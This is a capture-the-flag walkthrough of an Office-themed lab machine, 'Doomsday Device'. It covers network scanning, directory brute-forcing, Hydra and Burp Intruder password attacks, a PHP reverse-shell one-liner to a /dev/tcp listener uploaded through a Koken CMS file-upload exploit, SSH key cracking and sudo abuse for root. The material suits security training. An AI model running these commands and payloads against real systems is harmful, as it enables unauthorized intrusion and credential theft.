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There are 8 flags in total. Collect them all 

and get root access to defuse the 
Doomsday Device.

The Office: Doomsday Device

Dwight Schrute devised a system (called the 
Doomsday Device) to find mistakes made by 

employees in the office. It will forward 
incriminating emails to Robert California if 
employees make five mistakes in one day, 

effectively causing them to lose their jobs. Your 
goal is to find your way into the system and save 

everyone's job by getting root access.

Story

Goal



Tools Used

- Netdiscover

- Nmap

- SignalSquirrel

- WireShark

- creedGEN

- Cat

- Nano

- Gobuster

- ftp

- FFuF

- BurpSuite

- Netcat

- MySQL

- ExifTool

- Knock

- SSH2John

- JohnTheRipper

- lftp



First, we need to run ‘netdiscover’ to 

find the target machines IP address.

Below is displayed the results of the ‘netdiscover’ scan:

sudo netdiscover -r 10.0.2.0/24



We need to run an ‘nmap’ scan on the target machine to find any open ports, services running, server versions, etc.

                                            sudo nmap -v -T4 -A -sC -sV -p- -oN nmapofficectf.log 10.0.2.7

We discover that there are four open ports on the target machine. 

Port 21 (FTP), port 80(HTTP), port 65533(TCP/UDP), and port 

18888(TCP/UDP).

We also find that port 22 (SSH) is being filtered. This is a potential 

attack surface that we might be able to exploit later.



We then open a browser and proceed to the targeted IP 

address.



Next, we will need to start 

looking for leads to the 

location of the first flag, we 

can do so by viewing the 

page source:



At the bottom of the page, we 

find a string of base64:

We then need to decode this encoded message, from 

base64 to clear-text. We can do so by saving the 

string into a text file using “sudo nano base64office” 

and using the base64 encoder/decoder that is 

standard in Kali Linux.

It returns the following output, which turns 

out to be encoded in morse code.



https://github.com/BBennett92/signalsquirrel

sudo git clone https://github.com/BBennett92/signalsquirrel.git

cd signalsquirrel

sudo chmod +x signalsquirrel.py

sudo python3 signalsquirrel.py

https://github.com/BBennett92/signalsquirrel.git


We can then run this morse code through a 

decoder to discover the encoded message, 

we can see it returns the following:
“JIM AND PAM HAVE TALKED ABOUT 

ME IN MORSE CODE SEVERAL TIMES. 

BUT JOKE'S ON THEM BECAUSE I 

KNOW MORSE CODE. SINCE YOU 

COULD READ THIS I ASSUME YOU 

KNOW IT TOO. ANYWAYS THIS IS JUST 

THE FIRST FLAG, YOU WILL NEVER 

CRACK MY INGENIOUS MACHINE, 

DON'T FORGET I AM BETTER THAN 

YOU HAVE EVER BEEN OR EVER WILL 

BE! DWIGHT 

FLAG1: 

8CAF9C64F9D1181206FEC7F40A7524B3”

Results:

First flag:



First, we need to run a subdomain crawler such as ‘dirb’ or ‘gobuster’ to find 

any hidden directories:

Below, we find that several different subdomains are found using ‘gobuster’, 

it seems like we have a few possible leads to the next flag. “robots.txt”, 

“/nick”, as well as “/staffblog”.

sudo gobuster dir -u http://10.0.2.7 -x txt,php,html --wordlist 
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -o dir-80.log



In the ‘/robots.txt’, we find something that might 

be of interest later.

In the ‘/nick’ subdomain, we find two interesting files. One named ‘farewell.txt’ & ‘nick.pcap’, 

which is a Wireshark ‘.pcap’ capture file we need to inspect for possible clues for the next flag.



Contents of the text file, ‘farewell.txt’:



We need to analyze the ‘.pcap’ Wireshark capture to see if we can find any useful 

information that might allow us to gain access to the FTP server. If we navigate to the 

downloaded “nick.pcap” file we can run the following command to scan it for clues:

sudo wireshark open nick.pcap



We can follow the TCP stream to get a clearer and easier to read output 

to find the clue for the next flag.

Here, we find that someone used the login credentials “creed” for the 

username, as well as “creed” for the password. The login was successful. 



Results of the ‘/staffblog/’ subdomain, here we 

find ‘CreedThoughts.doc’, which gives us our 3rd 

flag:

Flag 3:



In the previous slide, we uncovered a hint that the password to gain access 

to the ‘ftp’ server is going to be “creed” with three digits added to the end 

to make it more “safe”.

We can do this a multitude of ways, however, there is a tool that has 

already been created for this specific purpose called “creedGEN”. This tool 

will generate a wordlist that can then be used in a brute force attack to gain 

entry to the ‘ftp’ server with a brute force entry tool such as ‘hydra’.



Using the command following command, 

we can utilize the wordlist we just generated to obtain the correct login credentials:

hydra -l creed -P creedPWNlist.txt 10.0.2.7 ftp

Hydra find that the correct login credentials 

turn out to be, username: creed  |  password: 

creed223

Entering the following command we can gain access to 
the FTP server:

sudo ftp 10.0.2.7



We can now login to the ‘ftp’ server 

and see what we find. It seems like we 

have two available files, ‘archive.zip’ 

and ‘reminder.txt’.

Using the command ‘get’ command, we can download these 

files to the attacking machine and analyze them for clues for 

our next flag.

We find the location of the 4th flag inside the file “reminder.txt’.



Based on the hint we are given in the “reminder.txt” file, we need 
to figure out what the joke that offended Pam is. We can do so by 
doing a quick Google search to find what season and episode we 
might find this joke in.

We find the correct password 
for the “archive.zip” file to be 
“bigboobz”. We can then extract 
the contents which turn out to 
be “email” & “michael”.

It looks like we need to find the answer from the episode 
“WUPHF.com” from Season 7, Episode 9.

The file “archive.zip” is password protected, we could try to brute 
force into the ‘.zip’ file, but we are given a hint

sudo unzip archive.zip



We need to enumerate port 18888 using the following command to establish an active connection to the target 
host in order to discover potential attack vectors in the system.

After enumerating port 18888 we find 
that it is running “Koken” which is a 
CMS (content management system). 
We found a few useful subdomains 
like the admin login splash page for 
the CMS. From there we can use the 
hints we found previously to try and 
gain access into the CMS using 
Angela’s login credentials.

http://10.0.2.7:18888/admin/

sudo ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 
"http://10.0.2.7:18888/FUZZ" -of html -o dir-18888.html -fs 0



In the e-mail we extracted from the “archive.zip” file we find 
a hint for what Angela’s password will be, as well as what 
her company e-mail address should be. According to the e-
mail her password will be the name of one of her 13 cats.
Her e-mail address will be “angela@dundermifflin.com”.
Using this combination, we should be able to acquire access 
into the Koken server. 

We could attempt this several ways, but since Koken will not 
lock us out for failed attempts and there are only 13 possible 
combinations, we can enter each cat name in an attempt to 
gain access to the Koken CMS. We can find all of Angela’s cat 
names on “The Office Wikipedia: Dunderpedia”.

https://theoffice.fandom.com/wiki/Angela%27s_cats



We will need to utilize the proxy in BurpSuite to bypass any 
possible lockouts for failed login attempts. First, we will need 
to open the browser in BurpSuite, navigate to the Koken CMS 
admin login splash page, enter Angela’s e-mail address and any 
password for now so we can send the request to Intruder 
using the ‘Intercept’ feature.



After capturing the traffic using  ‘Intercept’, we need to 
highlight the fields we are trying to use our “Sniper” attack 
type payloads on, right click them, and then send them too 
the ‘Intruder’ tool in BurpSuite.



Then, we must highlight the captured password field in “Intruder”, right click 
once more, send to “Intruder” again, switch over to the “Payloads” tab, select 
the “Simple list” option under “Payload type”, then start to build the payload we 
can either make a list of the names in a text document to load, or add each cat 
name to our payload list using the “Add” function. We can then start the attack.



It returns a “302” status on the password “Crinklepuss”, instead of the “404” error on the other possible 
combinations. We can now access the Koken server using our acquired login credentials!

The correct login credentials turn out to be:
E-mail: angela@dundermifflin.com
Password: Crinklepuss



Success! After entering the correct login credentials, we can access the Koken CMS using Angela’s information.



By switching over to the “Settings” tab in the Koken CMS, we can find what version it is running to see 
if we can find any possible exploits we can use to escalate our privileges. The Koken CMS is running 
version “0.22.24”.

After a quick Google search we find that we can upload an image containing a reverse .php 
shell found on the exploit data base below:

                                             https://exploit-db.com/explots/48706





Based on the exploit we found on the Koken server, we need to create a fake image using the text editor “nano”.

We can establish a reverse shell with the following .php one liner.

                                <?php shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.2.15/1234 0>&1'"); ?>

Then, we turn on interceptor 
in BurpSuite, upload the fake 
image, and catch it with 
interceptor.



In interceptor, we need to delete the “.jpg” off both instances of the fake image we just uploaded “newshellpic.php.jpg” 
and change it to “newshellpic.php”, then click the “Forward” button until all of the traffic is sent through interceptor. 
Then we can turn Interceptor off and call back to our PHP reverse shell with “netcat”.



Once, we have established a connection using the following “netcat” 
command: “nc -nvlp 1234”

From here, we can 
search for the next 
hint which we can 
find in the directory 
“/var/www/html”
We can download 
the images 
separately from the 
shell or navigate to 
the location in our 
web browser. 



After navigating through the database, we also found 
the 2nd flag in the following directory:

cd /var/www/html2/secret

cat index.html.bak

Also, in the “var/www/koken/storage/configuration” 
directory we can use the “cat database.php” 
command to find a hint for another flag.

cd /var/www/koken/storage/configuration

cat database.php

We found the username and password below:

Username: kokenuser

Password: Toby!Flenderson444



We need to download the following three images based on the hint provided and look for any differences between them.



Using the tool “exiftool” we can extract the images metadata and search for any possible clues.

Here we find both the 6th flag, as well as our next clue. It’s a command to unlock the 
locked ports we found earlier. 

Using the command “knock 10.0.2.7 5000 7000 9000” we can unlock the SSH port.



We need to find a way to brute force the passphrase of the SSH private key, it is possible 
using a variation of “JohnTheRipper”, “SSH2John”. It can be found at the GitHub 
repository: https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py

Then use a text editor such as “nano” and 
copy, paste, and save the script as python 
file.

After, we can run the following command to get 
the hash value of the SSH private key, make sure 
the command is run in the same directory as both 
the “ssh2john.py” script and “michael” SSH 
private key:
sudo python3 ssh2john.py michael | tee michael-
hash

Then move Michael’s 
SSH private key 
“michael” into the 
same directory of the 
“ssh2john.py” using 
the “sudo mv michael” 
command, followed by 
the location of the 
directory such as 
below:



We can then use “JohnTheRipper” to pass the hash we just produced from the private key.

sudo john michael-hash -wordlist=/usr/share/wordlists/rockyou.txt

Then we will have to change the permissions of the private key “michael” in order to be able 
to log into the SSH server.



Entering the command, “sudo ssh michael@10.0.2.7 -i michael”, we gain access 
to the SSH server.

After getting access, we can use “ls -la” to list all files and hidden directories.



From here, we can spawn an interactive shell using the following command:

                                              python3 -c 'import pty;pty.spawn("/bin/bash")'

The 7th flag is found after we “cat” the text file “.sus.txt”.



After gaining access and using the “ls” 
command, there happens to be a movie script 
titled: “THREAT LEVEL MIDNIGHT”



When checking the sudo permissions, we find that we can execute a 
script as all users.

                                                           “sudo -l”

But before we continue, we should try logging into the mysql server with 
the credentials we found earlier using the following command:
                                  “mysql -ukokenuser -p -D kokendb”
When prompted for the password, we can enter “Toby!Flenderson444”.



Using the command “show 
tables;”, we can find a list of 
all the tables in the MySQL 
database, including the 5th 
flag.

We can view this table and flag using the commands:

select * from flag

;



After exiting the MySQL database, we can navigate to the                      
directory “/home/creed/” using the following command:

                                    cd /home/creed/

Then using the command “ls -al” we can see what is in 
this directory.

Nothing useful yet, but this is the directory we can put 
our “defuse.sh” script in to obtain our 8th and final flag.



Before we do so, we need to find the configuration file “vsftpd.conf”. 
This is a file used by the VSFTPD (Very Secure FTP Daemon) server, 
which is a popular FTP server software for Unix-like systems. This file 
contains various settings and parameters that control the behavior 
and functionality of the FTP server. We must make sure we are able to 
make our “defuse.sh” script executable after we upload it too the FTP 
server.

We can find this configuration file in the following directory using the 
following command:

                                            “ls -l /etc/vsftpd.conf”

After finding the correct directory, we are able to navigate to it using 
the following command:
                                                     “cd /etc/”

Then we can open and edit the configuration file using the command:
                                              “nano vsftpd.conf”



At the bottom of the configuration file, we find that the 
“chmod_enable=NO” is restricting us from changing file permissions. 
We need to edit this to “chmod_enable=YES” to allow our “defuse.sh” 
script to be allowed to be changed into an executable script after we 
upload it to the FTP server.



Now that we can change permissions, we 
can create our “defuse.sh” script using a 
text editor such as “nano” or “vim” using 
the following command:

                   “sudo nano defuse.sh”

This script will start a new interactive Bash 
shell session within our existing shell 
session.

Then input the following script:

#!/bin/bash
bash -i



Using the following command, we can log into the FTP server to upload our 
new interactive shell script in an attempt at gaining root privileges:

                                         “lftp -u creed,creed223 10.0.2.7”

Then the following command to place the “defuse.sh” script on the FTP server.

                                                         “put defuse.sh”

Finally, we can change the scripts permissions to an executable using with:

                                                 “chmod +x defuse.sh”

Moving back to the SSH server, we can execute our “defuse.sh” script to gain 
root privileges using the following command:

                                       “sudo -u root /home/creed/defuse.sh”



Using the “id” command, we can display the user and 
group identity information for the current user.

Then we can use the “cd” command to change our 
directory into the root directory using:

                                          “cd /root”

Using “ls”, we find our 8th flag is in the root 
directory, using the command “cat flag.txt” we 
capture our final flag. Success!
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